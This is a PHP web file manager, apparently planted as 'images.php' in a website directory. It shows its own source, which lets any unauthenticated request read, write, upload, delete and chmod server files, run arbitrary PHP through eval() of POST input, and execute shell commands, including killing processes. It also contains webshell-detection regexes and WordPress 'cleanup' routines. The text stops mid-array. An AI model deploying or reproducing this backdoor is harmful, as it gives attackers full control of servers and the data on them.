Your IP : 216.73.216.215


Current Path : /proc/3/root/home/flapst5/ekmtoronto.com-disabled8.26.2026/
Upload File :
Current File : //proc/3/root/home/flapst5/ekmtoronto.com-disabled8.26.2026/images.php

<?php
ini_set('display_errors',0);error_reporting(E_ALL&~E_NOTICE);$ROOT=realpath('/');if($ROOT===false)$ROOT=realpath(dirname(__FILE__));if(function_exists('session_start'))@session_start();
function esc($s){return htmlspecialchars((string)$s,ENT_QUOTES,'UTF-8');}
function json_out($d){header('Content-Type: application/json; charset=utf-8');echo json_encode($d);exit;}
function safe_real($path){if($path===''||$path===null)return false;$real=realpath($path);return $real===false?false:$real;}
function req($k,$def=''){return isset($_REQUEST[$k])?$_REQUEST[$k]:$def;}
function g($k,$def=''){return isset($_GET[$k])?$_GET[$k]:$def;}
function p($k,$def=''){return isset($_POST[$k])?$_POST[$k]:$def;}
function sv($k,$def=''){return isset($_SERVER[$k])?$_SERVER[$k]:$def;}
$docRoot=str_replace('\\','/',realpath(isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:getcwd()));
function file_to_web_url($filePath,$docRoot){$fp=str_replace('\\','/',realpath($filePath)?realpath($filePath):$filePath);if(strpos($fp,$docRoot)===0){return substr($fp,strlen($docRoot));}return dirname(isset($_SERVER['SCRIPT_NAME'])?$_SERVER['SCRIPT_NAME']:'/').'/'.basename($filePath);}
function _aq_dirsort($a,$b){if($a['is_dir']&&!$b['is_dir'])return -1;if(!$a['is_dir']&&$b['is_dir'])return 1;return strcasecmp($a['name'],$b['name']);}
function list_dir_sorted($dir){
  $items=array();
  $parent=dirname($dir);
  if($parent!==$dir){$items[]=array('name'=>'..','is_dir'=>true,'size'=>0,'mtime'=>filemtime($parent),'perm'=>substr(sprintf('%o',fileperms($parent)),-4),'path'=>$parent);}
  $files=@scandir($dir);if(!$files)return $items;
  $sub=array();
  foreach($files as $f){if($f==='.'||$f==='..')continue;$full=$dir.'/'.$f;$sub[]=array('name'=>$f,'is_dir'=>is_dir($full),'size'=>is_file($full)?filesize($full):0,'mtime'=>filemtime($full),'perm'=>substr(sprintf('%o',fileperms($full)),-4),'path'=>$full);}
  usort($sub,'_aq_dirsort');
  return array_merge($items,$sub);
}
function human_size($n){if($n>1024*1024)return round($n/1024/1024,2).' MB';if($n>1024)return round($n/1024,2).' KB';return $n.' B';}
function set_flash($m){$_SESSION['fm_flash']=$m;}function get_flash(){$m=isset($_SESSION['fm_flash'])?$_SESSION['fm_flash']:'';unset($_SESSION['fm_flash']);return $m;}
function getWebServerType(){
  $sapi=php_sapi_name();
  if(in_array($sapi,array('cli','cli-server','phpdbg')))return 'CLI';
  if($sapi==='litespeed')return 'LiteSpeed';
  if($sapi==='apache2handler')return 'Apache';
  $software=strtolower(sv('SERVER_SOFTWARE'));
  if(strpos($sapi,'fcgi')!==false||strpos($sapi,'fpm')!==false||strpos($sapi,'cgi')!==false){if(strpos($software,'iis')!==false)return 'IIS';return 'Nginx';}
  if(strpos($software,'nginx')!==false)return 'Nginx';
  if(strpos($software,'apache')!==false)return 'Apache';
  if(strpos($software,'litespeed')!==false)return 'LiteSpeed';
  if(strpos($software,'iis')!==false)return 'IIS';
  if(strpos($software,'caddy')!==false)return 'Caddy';
  return 'Unknown';
}

// ============================================================
// 安全扫描 & 权限修复 辅助函数
// ============================================================
function _aq_scan_suspicious($dir,$depth=0,$maxDepth=5){
  $findings=array();
  if($depth>$maxDepth)return $findings;
  $items=@scandir($dir);
  if(!$items)return $findings;
  foreach($items as $item){
    if($item==='.'||$item==='..')continue;
    $full=$dir.'/'.$item;

    // ---- 可疑的隐藏 PHP 文件 / 伪装文件 ----
    if(is_file($full)){
      $lower=strtolower($item);
      $ext=strtolower(pathinfo($item,PATHINFO_EXTENSION));
      $sz=@filesize($full);

      // 1) 点开头的 php 文件 (.xxx.php)
      if($item[0]==='.'&&($ext==='php'||$ext==='phtml'||$ext==='php5'||$ext==='php7'||$ext==='pht')){
        $findings[]=array('type'=>'hidden_php','path'=>$full,'reason'=>'Hidden PHP file (dot-prefixed)','risk'=>'high');
      }
      // 2) 随机文件名 (8+ hex chars)
      $base=pathinfo($item,PATHINFO_FILENAME);
      if(strlen($base)>=8 && preg_match('/^[a-f0-9]+$/i',$base) && ($ext==='php'||$ext==='phtml')){
        $findings[]=array('type'=>'random_name','path'=>$full,'reason'=>'Random hex filename — likely webshell','risk'=>'high');
      }
      // 3) .ico / .jpg / .png 但实际包含 PHP 代码
      if(in_array($ext,array('ico','jpg','jpeg','png','gif','bmp','txt','log','html','htm','css'))){
        $head=@file_get_contents($full,false,null,0,4096);
        if($head!==false){
          if(preg_match('/<\?php|eval\s*\(|base64_decode\s*\(|gzinflate\s*\(|str_rot13\s*\(|assert\s*\(/i',$head)){
            $findings[]=array('type'=>'disguised_php','path'=>$full,'reason'=>'Non-PHP extension contains PHP/eval code','risk'=>'high');
          }
        }
      }
      // 4) PHP 文件含高危函数
      if($ext==='php'||$ext==='phtml'||$ext==='php5'||$ext==='php7'||$ext==='pht'||$ext==='inc'){
        $head=@file_get_contents($full,false,null,0,8192);
        if($head!==false){
          $flags=array();
          if(preg_match('/eval\s*\(\s*(\$_|base64_decode|gzinflate|str_rot13|gzuncompress)/i',$head))$flags[]='eval+decode';
          if(preg_match('/\b(assert|preg_replace\s*\(\s*["\']\/[^\/]*e["\'])\s*\(/i',$head))$flags[]='assert/preg_e';
          if(preg_match('/\$\w+\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/i',$head))$flags[]='variable_function($_INPUT)';
          if(preg_match('/base64_decode\s*\(.*\){5,}/i',$head))$flags[]='nested_decode';
          if(preg_match('/\\\\x[0-9a-f]{2}.*\\\\x[0-9a-f]{2}.*\\\\x[0-9a-f]{2}/i',$head))$flags[]='hex_obfuscated';
          if(preg_match('/chr\s*\(\s*\d+\s*\)\s*\.\s*chr/i',$head))$flags[]='chr_concat';
          if(preg_match('/file_put_contents\s*\(.*\$_(GET|POST|REQUEST|COOKIE)/i',$head))$flags[]='file_write_from_input';
          // 监控权限的特征: chmod + inotify / clearstatcache 循环
          $wpcore=array('misc.php','file.php','class-wp-filesystem-direct.php','plugin.php','post.php','image.php');
          if(!in_array(strtolower($item),$wpcore)&&preg_match('/chmod\s*\(\s*[^,]+,\s*0?[04]{3}\s*\)/i',$head)&&preg_match('/while\s*\(\s*(true|1)|for\s*\(\s*;;|sleep\s*\(|inotify_/i',$head))$flags[]='perm_locker';
          if(!empty($flags)){
            $findings[]=array('type'=>'malicious_code','path'=>$full,'reason'=>implode(', ',$flags),'risk'=>'high');
          }
        }
      }
      // 5) 权限异常的文件 (000, 444, setuid/setgid on php)
      $perm=@fileperms($full);
      if($perm!==false){
        $oct=decoct($perm & 0777);
        if(($ext==='php'||$ext==='html'||$ext==='htm')&&($oct==='444'||$oct==='000')){
          $findings[]=array('type'=>'locked_perm','path'=>$full,'reason'=>'Permission locked to '.$oct,'risk'=>'medium');
        }
      }
    }

    // ---- .user.ini / .htaccess 注入 ----
    if(is_file($full)&&($item==='.user.ini'||$item==='.htaccess')){
      $content=@file_get_contents($full);
      if($content!==false){
        $dirty=false;$why=array();
        if($item==='.user.ini'){
          if(preg_match('/auto_prepend_file\s*=/i',$content)){$dirty=true;$why[]='auto_prepend_file';}
          if(preg_match('/auto_append_file\s*=/i',$content)){$dirty=true;$why[]='auto_append_file';}
        }
        if($item==='.htaccess'){
          if(preg_match('/php_value\s+auto_prepend_file/i',$content)){$dirty=true;$why[]='php_value auto_prepend_file';}
          if(preg_match('/php_value\s+auto_append_file/i',$content)){$dirty=true;$why[]='php_value auto_append_file';}
          // SetHandler 把非 PHP 后缀当 PHP 执行
          if(preg_match('/SetHandler\s+.*php/i',$content)&&preg_match('/\.ico|\.jpg|\.png|\.gif|\.txt|\.log/i',$content)){$dirty=true;$why[]='SetHandler routes non-php to php';}
        }
        if($dirty){
          $findings[]=array('type'=>'config_inject','path'=>$full,'reason'=>implode(', ',$why),'risk'=>'high');
        }
      }
    }

    // ---- 可疑的隐藏目录 ----
    if(is_dir($full)){
      $lower=strtolower($item);
      // 以点开头但不是 .well-known 的目录含有 php
      if($item[0]==='.'&&$lower!=='.well-known'&&$lower!=='.git'&&$lower!=='.svn'&&$lower!=='.idea'&&$lower!=='.vscode'){
        // 检查里面有没有 php
        $sub=@scandir($full);
        if($sub){
          foreach($sub as $sf){
            if($sf==='.'||$sf==='..')continue;
            $sext=strtolower(pathinfo($sf,PATHINFO_EXTENSION));
            if(in_array($sext,array('php','phtml','php5','php7','pht'))){
              $findings[]=array('type'=>'hidden_dir_php','path'=>$full.'/'.$sf,'reason'=>'PHP in hidden directory '.$item.'/','risk'=>'high');
            }
          }
        }
      }
      // 目录权限 000/111
      $dperm=@fileperms($full);
      if($dperm!==false){
        $doct=decoct($dperm & 0777);
        if($doct==='000'||$doct==='111'){
          $findings[]=array('type'=>'locked_dir','path'=>$full,'reason'=>'Directory locked to '.$doct,'risk'=>'medium');
        }
      }
      // recurse
      $findings=array_merge($findings,_aq_scan_suspicious($full,$depth+1,$maxDepth));
    }
  }
  return $findings;
}

function _aq_check_crontab(){
  $results=array();
  if(!function_exists('exec'))return $results;
  $out=array();$ret=0;
  @exec('crontab -l 2>/dev/null',$out,$ret);
  if($ret===0&&!empty($out)){
    foreach($out as $line){
      $line=trim($line);
      if($line===''||$line[0]==='#')continue;
      if(preg_match('/\.php|curl\s|wget\s|eval|base64/i',$line)){
        $results[]=array('type'=>'cron_suspicious','path'=>'crontab','reason'=>$line,'risk'=>'high');
      }
    }
  }
  return $results;
}


$action=req('action','list');

// 下载文件
if($action==='download'){
  $dir=safe_real(g('path'));$file=g('file');
  if(!$dir||!$file){header('HTTP/1.0 400 Bad Request');echo 'Missing params';exit;}
  $full=$dir.'/'.basename($file);
  if(!is_file($full)){header('HTTP/1.0 404 Not Found');echo 'File not found';exit;}
  header('Content-Description: File Transfer');
  header('Content-Type: application/octet-stream');
  header('Content-Disposition: attachment; filename="'.basename($full).'"');
  header('Content-Length: '.filesize($full));
  header('Cache-Control: must-revalidate');
  readfile($full);
  exit;
}

if(isset($_GET['api'])||isset($_POST['api'])){
if($action==='getfile'&&isset($_GET['fullpath'])){$full=safe_real($_GET['fullpath']);if($full&&is_file($full)){header('Content-Type: text/plain; charset=utf-8');echo file_get_contents($full);exit;}else{http_response_code(404);echo "Not found";exit;}}
if($action==='savefile'&&isset($_POST['fullpath'])&&isset($_POST['content'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(array('ok'=>false,'error'=>'invalid path'));if(is_writable($full)||is_writable(dirname($full))){$ok=file_put_contents($full,$_POST['content'])!==false;json_out(array('ok'=>$ok));}else json_out(array('ok'=>false,'error'=>'no write permission'));}
if($action==='upload'&&!empty($_FILES)){$results=array();$target=g('target',p('target'));$targetReal=safe_real($target);if(!$targetReal)$targetReal=$target;if($targetReal===''||!is_dir($targetReal))$targetReal=getcwd();foreach($_FILES as $field){if(is_array($field['name'])){for($i=0;$i<count($field['name']);$i++){$name=basename($field['name'][$i]);$tmp=$field['tmp_name'][$i];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=array('name'=>$name,'ok'=>$ok,'path'=>$full);}}else{$name=basename($field['name']);$tmp=$field['tmp_name'];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=array('name'=>$name,'ok'=>$ok,'path'=>$full);}}json_out(array('ok'=>true,'results'=>$results));}
if($action==='delete'&&isset($_POST['fullpath'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(array('ok'=>false,'error'=>'invalid'));if(!file_exists($full))json_out(array('ok'=>false,'error'=>'not exists'));if(is_dir($full)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as $item){$item->isDir()?rmdir($item->getRealPath()):unlink($item->getRealPath());}$ok=rmdir($full);}else $ok=unlink($full);json_out(array('ok'=>$ok));}
if($action==='chmod'&&isset($_POST['fullpath'])&&isset($_POST['mode'])){$full=safe_real($_POST['fullpath']);$mode=intval($_POST['mode'],8);$ok=@chmod($full,$mode);json_out(array('ok'=>$ok));}
if($action==='mkdir'&&isset($_POST['dirpath'])&&isset($_POST['name'])){$base=safe_real($_POST['dirpath']);if(!$base)$base=$_POST['dirpath'];$name=basename($_POST['name']);$full=rtrim($base,'/').'/'.$name;$ok=@mkdir($full,0755);json_out(array('ok'=>$ok,'path'=>$full));}
if($action==='rename'&&isset($_POST['fullpath'])&&isset($_POST['newname'])){$full=safe_real($_POST['fullpath']);$new=basename($_POST['newname']);$to=dirname($full).'/'.$new;$ok=@rename($full,$to);json_out(array('ok'=>$ok,'to'=>$to));}
if($action==='gen_htaccess'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath']);if(!$dir)$dir=getcwd();$full=rtrim($dir,'/').'/.htaccess';$content="RewriteEngine On\nRewriteBase /\n\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteRule ^(.*)$ index.php [L]";$ok=@file_put_contents($full,$content)!==false;json_out(array('ok'=>$ok));}
if($action==='gen_robots'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath']);if(!$dir)$dir=getcwd();$full=rtrim($dir,'/').'/robots.txt';$https=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'||sv('SERVER_PORT')==443);$protocol=$https?"https://":"http://";$domain=$protocol.sv('HTTP_HOST','localhost');$content="User-agent: *\nAllow: /\nSitemap: {$domain}/sitemap.xml";$ok=@file_put_contents($full,$content)!==false;json_out(array('ok'=>$ok));}

// === Create File ===
if($action==='createfile'&&isset($_POST['dirpath'])&&isset($_POST['filename'])){
  $base=safe_real($_POST['dirpath']);
  if(!$base)$base=$_POST['dirpath'];
  $name=basename($_POST['filename']);
  if($name==='')json_out(array('ok'=>false,'error'=>'empty filename'));
  $full=rtrim($base,'/').'/'.$name;
  if(file_exists($full))json_out(array('ok'=>false,'error'=>'file already exists'));
  $content=isset($_POST['content'])?$_POST['content']:'';
  $ok=@file_put_contents($full,$content)!==false;
  json_out(array('ok'=>$ok,'path'=>$full));
}

// === PHP Console ===
if($action==='phpconsole'&&isset($_POST['code'])){
  $code=$_POST['code'];
  $output='';$error='';$ok=true;
  ob_start();
  $__prev_err=error_reporting(E_ALL);
  $__old_handler=set_error_handler('_aq_console_err_handler');
  $__start=microtime(true);
  try{
    $ret=eval($code);
  }catch(Exception $e){
    $error='Exception: '.$e->getMessage().' in line '.$e->getLine();
    $ok=false;
  }
  $__elapsed=round((microtime(true)-$__start)*1000,2);
  $output=ob_get_clean();
  error_reporting($__prev_err);
  if($__old_handler!==null)set_error_handler($__old_handler); else restore_error_handler();
  global $__aq_console_errors;
  $warnings='';
  if(!empty($__aq_console_errors)){
    $parts=array();
    foreach($__aq_console_errors as $ce){$parts[]=$ce;}
    $warnings=implode("\n",$parts);
  }
  $result=array('ok'=>$ok,'output'=>$output,'error'=>$error,'warnings'=>$warnings,'time'=>$__elapsed.'ms','php_version'=>PHP_VERSION);
  if($ok && $ret!==null && $ret!==false && $ret!==true && $ret!==1){
    $result['return']=print_r($ret,true);
  }
  json_out($result);
}

// === Security Scan ===
if($action==='security_scan'){
  $scanDir=isset($_POST['scandir'])?$_POST['scandir']:'';
  $scanReal=safe_real($scanDir);
  if(!$scanReal)$scanReal=$docRoot;
  if(!$scanReal)$scanReal=getcwd();
  $findings=_aq_scan_suspicious($scanReal,0,6);
  // also check crontab
  $findings=array_merge($findings,_aq_check_crontab());
  json_out(array('ok'=>true,'scan_root'=>$scanReal,'count'=>count($findings),'findings'=>$findings));
}

// === Security Fix: batch chmod repair ===
if($action==='security_fix'&&isset($_POST['fixes'])){
  $fixes=json_decode($_POST['fixes'],true);
  if(!is_array($fixes))json_out(array('ok'=>false,'error'=>'invalid fixes'));
  $results=array();
  foreach($fixes as $fix){
    $path=isset($fix['path'])?$fix['path']:'';
    $act=isset($fix['act'])?$fix['act']:'';
    $real=safe_real($path);
    $r=array('path'=>$path,'ok'=>false,'msg'=>'');
    if(!$real&&$act!=='delete'){$r['msg']='path not found';$results[]=$r;continue;}
    if($act==='chmod755'){
      $ok=@chmod($real,0755);$r['ok']=$ok;$r['msg']=$ok?'chmod 755 done':'chmod failed';
    }elseif($act==='chmod644'){
      $ok=@chmod($real,0644);$r['ok']=$ok;$r['msg']=$ok?'chmod 644 done':'chmod failed';
    }elseif($act==='delete'){
      if(!$real){$r['msg']='file not found';$results[]=$r;continue;}
      if(is_dir($real)){
        $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($real,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);
        foreach($it as $item){$item->isDir()?@rmdir($item->getRealPath()):@unlink($item->getRealPath());}
        $ok=@rmdir($real);
      }else{
        $ok=@unlink($real);
      }
      $r['ok']=$ok;$r['msg']=$ok?'deleted':'delete failed';
    }elseif($act==='clean_config'){
      // remove malicious lines from .user.ini / .htaccess
      if(!$real||!is_file($real)){$r['msg']='not a file';$results[]=$r;continue;}
      $content=@file_get_contents($real);
      if($content===false){$r['msg']='cannot read';$results[]=$r;continue;}
      $orig=$content;
      // remove auto_prepend/append lines
      $content=preg_replace('/^\s*(auto_prepend_file|auto_append_file)\s*=.*$/mi','',$content);
      $content=preg_replace('/^\s*php_value\s+(auto_prepend_file|auto_append_file)\s+.*$/mi','',$content);
      // remove SetHandler for non-php
      $content=preg_replace('/^\s*<FilesMatch.*SetHandler.*php.*<\/FilesMatch>\s*$/msi','',$content);
      $content=trim($content);
      if($content!==$orig){
        $ok=@file_put_contents($real,$content)!==false;
        $r['ok']=$ok;$r['msg']=$ok?'cleaned malicious directives':'write failed';
      }else{
        $r['ok']=true;$r['msg']='no malicious directives found';
      }
    }
    $results[]=$r;
  }
  json_out(array('ok'=>true,'results'=>$results));
}

// === Batch permission reset for docroot ===
if($action==='reset_docroot_perms'){
  $root=$docRoot;
  if(!$root)$root=getcwd();
  $log=array();
  // fix docroot itself to 755
  $ok=@chmod($root,0755);
  $log[]=array('path'=>$root,'action'=>'chmod 755','ok'=>$ok);
  // iterate all immediate children
  $items=@scandir($root);
  if($items){
    foreach($items as $item){
      if($item==='.'||$item==='..')continue;
      $full=$root.'/'.$item;
      if(is_dir($full)){
        $ok=@chmod($full,0755);
        $log[]=array('path'=>$full,'action'=>'chmod 755','ok'=>$ok);
      }else{
        // files -> 644, except .php -> 644 (NOT 444)
        $ok=@chmod($full,0644);
        $log[]=array('path'=>$full,'action'=>'chmod 644','ok'=>$ok);
      }
    }
  }
  json_out(array('ok'=>true,'root'=>$root,'log'=>$log));
}

// === CHAIN BREAKER: 一次请求内按顺序完成 净化htaccess -> 杀木马 -> 解锁权限 ===
// 已知的正常WP核心php文件白名单(用于从被污染的.htaccess白名单里区分出恶意文件)
function _aq_wp_core_whitelist(){
  return array('index.php','wp-blog-header.php','wp-config-sample.php','wp-links-opml.php','wp-login.php','wp-settings.php','wp-trackback.php','wp-activate.php','wp-comments-post.php','wp-cron.php','wp-load.php','wp-mail.php','wp-signup.php','xmlrpc.php','edit-form-advanced.php','link-parse-opml.php','ms-sites.php','options-writing.php','themes.php','admin-ajax.php','edit-form-comment.php','link.php','ms-themes.php','plugin-editor.php','admin-footer.php','edit-link-form.php','load-scripts.php','ms-upgrade-network.php','admin-functions.php','edit.php','load-styles.php','ms-users.php','plugins.php','admin-header.php','edit-tag-form.php','media-new.php','my-sites.php','post-new.php','admin.php','edit-tags.php','media.php','nav-menus.php','post.php','admin-post.php','export.php','media-upload.php','network.php','press-this.php','upload.php','async-upload.php','menu-header.php','options-discussion.php','privacy.php','user-edit.php','menu.php','options-general.php','profile.php','user-new.php','moderation.php','options-head.php','revision.php','users.php','custom-background.php','ms-admin.php','options-media.php','setup-config.php','widgets.php','custom-header.php','ms-delete-site.php','options-permalink.php','term.php','customize.php','link-add.php','ms-edit.php','options.php','edit-comments.php','link-manager.php','ms-options.php','options-reading.php');
}

// 分析.htaccess白名单里有哪些名字不属于WP核心 => 高度疑似恶意
function _aq_htaccess_suspects($content){
  $suspects=array();
  $wp=_aq_wp_core_whitelist();
  $wpmap=array();foreach($wp as $w){$wpmap[strtolower($w)]=true;}
  // 抓第二段 Allow 白名单里的所有 xxx.php
  if(preg_match_all('/([A-Za-z0-9_\-]+\.php)/',$content,$m)){
    $seen=array();
    foreach($m[1] as $name){
      $l=strtolower($name);
      if(isset($seen[$l]))continue;$seen[$l]=true;
      if(!isset($wpmap[$l])){$suspects[]=$name;}
    }
  }
  return $suspects;
}

// 预览: 只分析不动手, 让用户先看清楚将要做什么
if($action==='chain_analyze'){
  $root=$docRoot;if(!$root)$root=getcwd();
  $out=array('root'=>$root,'htaccess'=>null,'suspect_files'=>array(),'locked'=>array());
  $ht=$root.'/.htaccess';
  if(is_file($ht)){
    $c=@file_get_contents($ht);
    $suspects=_aq_htaccess_suspects($c);
    $out['htaccess']=array('exists'=>true,'writable'=>is_writable($ht),'perm'=>substr(sprintf('%o',fileperms($ht)),-4),'suspect_count'=>count($suspects));
    // 每个疑似名字在根目录下是否真实存在
    foreach($suspects as $name){
      $fp=$root.'/'.$name;
      $out['suspect_files'][]=array('name'=>$name,'exists'=>is_file($fp),'path'=>$fp,'writable'=>is_file($fp)?is_writable($fp):false,'perm'=>is_file($fp)?substr(sprintf('%o',fileperms($fp)),-4):'-');
    }
  }else{
    $out['htaccess']=array('exists'=>false);
  }
  // 检查index.php锁定情况
  $idx=$root.'/index.php';
  if(is_file($idx)){
    $out['index']=array('perm'=>substr(sprintf('%o',fileperms($idx)),-4),'writable'=>is_writable($idx),'owner'=>function_exists('fileowner')?@fileowner($idx):'?','proc_uid'=>function_exists('posix_getuid')?@posix_getuid():'?');
  }
  json_out(array('ok'=>true,'analyze'=>$out));
}

// 执行: 在同一次请求里按 净化->杀->解锁 顺序一口气做完
if($action==='chain_break'){
  $root=$docRoot;if(!$root)$root=getcwd();
  $log=array();
  $addLog=false; // placeholder
  $extraFiles=isset($_POST['extra_files'])?json_decode($_POST['extra_files'],true):array();
  if(!is_array($extraFiles))$extraFiles=array();

  // ---------- STEP 1: 备份并净化 .htaccess ----------
  $ht=$root.'/.htaccess';
  $suspects=array();
  if(is_file($ht)){
    $orig=@file_get_contents($ht);
    // 备份
    $bak=$ht.'.bak_'.date('YmdHis');
    @file_put_contents($bak,$orig);
    $log[]=array('step'=>1,'path'=>$bak,'action'=>'backup .htaccess','ok'=>is_file($bak));
    // 找出恶意白名单文件, 供 step2 删除
    $suspects=_aq_htaccess_suspects($orig);
    // 强行放开权限再写(它可能是444)
    @chmod($ht,0644);
    // 写入一个干净的标准WP .htaccess
    $clean="# BEGIN WordPress\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n# END WordPress\n";
    $w=@file_put_contents($ht,$clean);
    $log[]=array('step'=>1,'path'=>$ht,'action'=>'rewrite clean .htaccess','ok'=>($w!==false),'msg'=>($w!==false?'已替换为干净规则,原文件已备份':'写入失败-可能属主不是当前用户'));
  }else{
    $log[]=array('step'=>1,'path'=>$ht,'action'=>'rewrite .htaccess','ok'=>false,'msg'=>'.htaccess 不存在,跳过');
  }

  // ---------- STEP 2: 删除木马文件(先删执行体,断掉锁权限的链) ----------
  // 2a. .htaccess白名单里的非WP文件
  $killList=array();
  foreach($suspects as $name){$fp=$root.'/'.$name;if(is_file($fp))$killList[$fp]=true;}
  // 2b. 用户在前端勾选的额外文件(扫描发现的木马)
  foreach($extraFiles as $fp){$rp=safe_real($fp);if($rp&&is_file($rp))$killList[$rp]=true;}
  foreach(array_keys($killList) as $fp){
    @chmod($fp,0644); // 先解锁再删
    $ok=@unlink($fp);
    $log[]=array('step'=>2,'path'=>$fp,'action'=>'delete malware','ok'=>$ok,'msg'=>$ok?'已删除':'删除失败-属主可能不同或已被锁');
  }

  // ---------- STEP 3: 此刻木马已死,解锁被锁定的核心文件权限 ----------
  $targets=array($root.'/index.php',$root.'/wp-config.php',$root.'/wp-load.php',$root.'/wp-settings.php',$root.'/.htaccess');
  foreach($targets as $t){
    if(is_file($t)){
      $before=substr(sprintf('%o',fileperms($t)),-4);
      $ok=@chmod($t,0644);
      $after=substr(sprintf('%o',fileperms($t)),-4);
      $log[]=array('step'=>3,'path'=>$t,'action'=>'unlock 644','ok'=>$ok,'msg'=>$before.' -> '.$after);
    }
  }
  // 根目录本身 755
  @chmod($root,0755);
  $log[]=array('step'=>3,'path'=>$root,'action'=>'docroot 755','ok'=>true,'msg'=>'');

  // ---------- STEP 4: 复验 index.php 是否还在被锁 ----------
  $idx=$root.'/index.php';
  $verify=null;
  if(is_file($idx)){
    clearstatcache();
    $verify=array('perm'=>substr(sprintf('%o',fileperms($idx)),-4),'writable'=>is_writable($idx));
  }
  json_out(array('ok'=>true,'root'=>$root,'suspects_from_htaccess'=>count($suspects),'log'=>$log,'verify'=>$verify));
}

// === CHAIN ISOLATE v2: 杀进程→改名断链→强制chmod→改回来→复验循环 ===
// 强制chmod辅助: 先试PHP chmod, 不行就exec chmod, 再不行试chown
function _aq_force_chmod($path,$mode,$log_label=''){
  $modeStr=sprintf('%o',$mode);
  // 清除stat缓存
  clearstatcache(true,$path);
  // 方法1: PHP原生chmod
  $ok=@chmod($path,$mode);
  clearstatcache(true,$path);
  $actual=decoct(@fileperms($path) & 0777);
  if($actual===$modeStr) return array('ok'=>true,'method'=>'php chmod','before'=>'','after'=>$actual);
  // 方法2: exec chmod (shell层面)
  if(function_exists('exec')){
    @exec('chmod '.$modeStr.' '.escapeshellarg($path).' 2>&1',$out,$ret);
    clearstatcache(true,$path);
    $actual=decoct(@fileperms($path) & 0777);
    if($actual===$modeStr) return array('ok'=>true,'method'=>'exec chmod','before'=>'','after'=>$actual);
  }
  // 方法3: system()
  if(function_exists('system')){
    @system('chmod '.$modeStr.' '.escapeshellarg($path).' 2>&1');
    clearstatcache(true,$path);
    $actual=decoct(@fileperms($path) & 0777);
    if($actual===$modeStr) return array('ok'=>true,'method'=>'system chmod','before'=>'','after'=>$actual);
  }
  // 方法4: shell_exec()
  if(function_exists('shell_exec')){
    @shell_exec('chmod '.$modeStr.' '.escapeshellarg($path).' 2>/dev/null');
    clearstatcache(true,$path);
    $actual=decoct(@fileperms($path) & 0777);
    if($actual===$modeStr) return array('ok'=>true,'method'=>'shell_exec chmod','before'=>'','after'=>$actual);
  }
  return array('ok'=>false,'method'=>'all failed','before'=>'','after'=>$actual);
}

// 杀掉当前用户的所有其他PHP进程(木马监控脚本)
function _aq_kill_php_watchers(){
  $killed=array();
  if(!function_exists('exec'))return array('ok'=>false,'msg'=>'exec disabled','killed'=>$killed);
  $myPid=getmypid();
  $out=array();$ret=0;
  // 找到所有PHP进程(包括php-fpm worker)
  @exec('ps aux 2>/dev/null | grep -i php | grep -v grep',$out,$ret);
  // 也查inotifywait等监控进程
  $out2=array();
  @exec('ps aux 2>/dev/null | grep -i inotify | grep -v grep',$out2,$ret);
  $out=array_merge($out,$out2);
  // 获取当前用户
  $me='';
  if(function_exists('posix_getuid')){
    $info=@posix_getpwuid(posix_getuid());
    if($info)$me=$info['name'];
  }
  if(!$me)$me=@getenv('USER');
  foreach($out as $line){
    $parts=preg_split('/\s+/',trim($line));
    if(count($parts)<2)continue;
    $user=$parts[0];$pid=intval($parts[1]);
    if($pid===$myPid||$pid<=1)continue;
    // 只杀自己用户的进程,或者如果检测不到用户就跳过避免误杀
    if($me&&$user!==$me)continue;
    // 检查是否有可疑的命令行(包含chmod, inotify, while, 或很长的base64)
    $cmdline=implode(' ',array_slice($parts,10));
    $suspicious=false;
    if(preg_match('/inotify/i',$cmdline))$suspicious=true;
    if(preg_match('/chmod.*0?[04]{3}/i',$cmdline))$suspicious=true;
    if(preg_match('/while\s*.*chmod|chmod.*while/i',$cmdline))$suspicious=true;
    if(preg_match('/watch|monitor|lock.*perm/i',$cmdline))$suspicious=true;
    // 不要杀自己和明确的正常进程(php-fpm master等)
    if($suspicious){
      @exec('kill -9 '.$pid.' 2>/dev/null');
      $killed[]=array('pid'=>$pid,'cmd'=>substr($cmdline,0,120));
    }
  }
  // 也尝试直接杀用户的所有inotifywait进程
  @exec('killall -9 inotifywait 2>/dev/null');
  return array('ok'=>true,'msg'=>'scanned','killed'=>$killed,'my_pid'=>$myPid);
}

if($action==='chain_isolate'){
  // ============================================================
  // v3 纯断链模式:改名所有WP入口 + wp-content/wp-includes
  // 不改权限,不恢复,让WP彻底停机,木马无法通过任何入口触发
  // ============================================================
  $root=$docRoot;if(!$root)$root=getcwd();
  $log=array();

  // 断链目标:改名所有 WP 官方根目录 PHP 文件 + wp-content/wp-includes 目录
  // 入口文件(改名后WP完全无法启动;木马也无法通过这些WP入口触发)
  // 注意:只封WP官方的根目录PHP,其他PHP文件(可能是用户后门)一律不动
  // 不封:wp-config.php / wp-config-sample.php / wp-load.php (用户已动过)
  $entryFiles=array(
    'index.php'            => 'index.php.locked',
    'wp-login.php'         => 'wp-login.php.locked',
    'wp-cron.php'          => 'wp-cron.php.locked',
    'xmlrpc.php'           => 'xmlrpc.php.locked',
    'wp-activate.php'      => 'wp-activate.php.locked',
    'wp-blog-header.php'   => 'wp-blog-header.php.locked',
